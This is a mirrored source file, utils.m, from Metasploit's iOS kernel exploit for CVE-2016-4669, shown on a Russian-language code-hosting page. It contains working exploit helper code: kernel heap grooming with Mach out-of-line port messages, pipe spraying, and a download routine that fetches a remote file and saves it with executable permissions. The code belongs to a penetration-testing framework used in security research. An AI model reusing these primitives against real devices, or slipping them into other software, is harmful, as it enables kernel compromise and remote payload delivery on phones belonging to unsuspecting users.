/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
external/source/exploits/CVE-2016-4669/utils.m
247 строк
5 KB
Tim W
remove debug logging from the kernel exploit
30 июл 2020, 13:10
30 июл 2020, 13:10
0b513d6
Код
Авторство
О чём код?
// [1] https://github.com/externalist/exploit_playground/blob/master/empty_list/empty_list/empty_list/sploit.c #include "utils.h" void for_other_threads(void (^handler)(thread_act_t thread)) { thread_act_t thread_self = mach_thread_self(); thread_act_port_array_t list; mach_msg_type_number_t count; kern_return_t kr = 0; kr = task_threads(mach_task_self(), &list, &count); if (kr != KERN_SUCCESS) { LOG("task_threads failed"); return; } for (int i=0; i<count; i++) { if (list[i] != thread_self) { handler(list[i]); } } } void set_nofile_limit() { int ret; struct rlimit rlim; ret = getrlimit(RLIMIT_NOFILE, &rlim); if (ret < 0) { LOG("getresuid failed errno: %d", errno); exit(-1); } LOG("nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max); rlim.rlim_cur = 0x2000; ret = setrlimit(RLIMIT_NOFILE, &rlim); if (ret < 0) { LOG("setrlimit failed errno: %d", errno); exit(-1); } LOG("set new nofile limit: %llx", rlim.rlim_cur); } NSData *download_data(NSString *_url) { NSURL *url = [NSURL URLWithString:_url]; LOG("get %@", url); NSData *urlData = [NSData dataWithContentsOfURL:url]; if (urlData != nil) LOG("got remote len: %d", [urlData length]); else LOG("could not get %@", url); return urlData; } int download(char *src, char *dest) { NSString *url = [NSString stringWithUTF8String:src]; NSData *data = download_data(url); if (data == nil) return -1; unlink(dest); sync(); int fd = open(dest, O_CREAT | O_RDWR, S_IRUSR | S_IXUSR | S_IWUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH ); if (fd < 0) { LOG("could not open %s", dest); return -1; } int ret = write(fd, [data bytes], [data length]); LOG("saved to %s, write ret: %d", dest, ret); close(fd); sync(); return 0; } mach_port_t alloc_port() { kern_return_t err; mach_port_t port = MACH_PORT_NULL; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (err != KERN_SUCCESS) { LOG("mach_port_allocate failed to allocate a port"); } // insert a send right: err = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (err != KERN_SUCCESS) { LOG("mach_port_insert_right failed"); } return port; } // Controlled kernel memory allocations used below // are taken from [1] and described there in great details. typedef struct { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; uint8_t pad[0x200]; } kalloc_mach_msg_t; kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt) { kern_return_t err; kalloc_mach_msg_t kalloc_msg = {0}; uint32_t msg_size = sizeof(kalloc_msg); // send a message with two OOL NULL ports; these will end up in a kalloc.16: kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg); kalloc_msg.hdr.msgh_remote_port = port; kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL; kalloc_msg.hdr.msgh_id = 0x41414141; kalloc_msg.body.msgh_descriptor_count = 1; mach_port_t ports[cnt]; for (int i=0; i<cnt; i++) { ports[i] = ool_port; } kalloc_msg.ool_ports.address = ports; kalloc_msg.ool_ports.count = cnt; kalloc_msg.ool_ports.deallocate = 0; kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND; kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; err = mach_msg(&kalloc_msg.hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { LOG("sending kalloc.8 message failed %s\n", mach_error_string(err)); } return err; } kern_return_t kalloc_page_ool_ports(mach_port_t port) { return kalloc_ool_ports(port, MACH_PORT_NULL, PAGE_SIZE/4); } kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port) { return kalloc_ool_ports(port, ool_port, 2); } void discard_message(mach_port_t port) { static int8_t msg_buf[0x4000]; mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf; kern_return_t err; err = mach_msg(msg, MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout 0, sizeof(msg_buf), port, 0, 0); if (err != KERN_SUCCESS){ LOG("error receiving on port: %s\n", mach_error_string(err)); } mach_msg_destroy(msg); } void hexdump(void *ptr, size_t n) { uint32_t *u32 = ptr; for (int i=0; i<n; i+=2) { LOG("%08X %08X", u32[i], u32[i+1]); } } int pipe_create(int fds[2]) { int ret = pipe(fds); if (ret < 0) { LOG("pipe allocation failed errno: %d", errno); return -1; } return 0; } int pipe_alloc(int fds[2], void *buf, size_t size) { int ret = write(fds[1], buf, size); if (ret < 0) { LOG("pipe write failed, fd: %d, errno: %d", fds[1], errno); return -1; } return 0; } void pipes_close(int *pipes, size_t count) { for (int i=0; i<count; i++) { if (pipes[i*2] != -1) { close(pipes[i*2]); close(pipes[i*2+1]); } } } int pipes_create(int *pipes, size_t count) { for (int i=0; i<count; i++) { if (pipe_create(&pipes[i*2]) < 0) { return -1; } } return 0; } int pipes_alloc(int *pipes, size_t count, char *pipe_buf) { for (int i=0; i<count; i++) { if (pipe_alloc(&pipes[i*2], pipe_buf, PAGE_SIZE-1) < 0) { LOG("pipe alloc failed at %d", i); return -1; } } return 0; }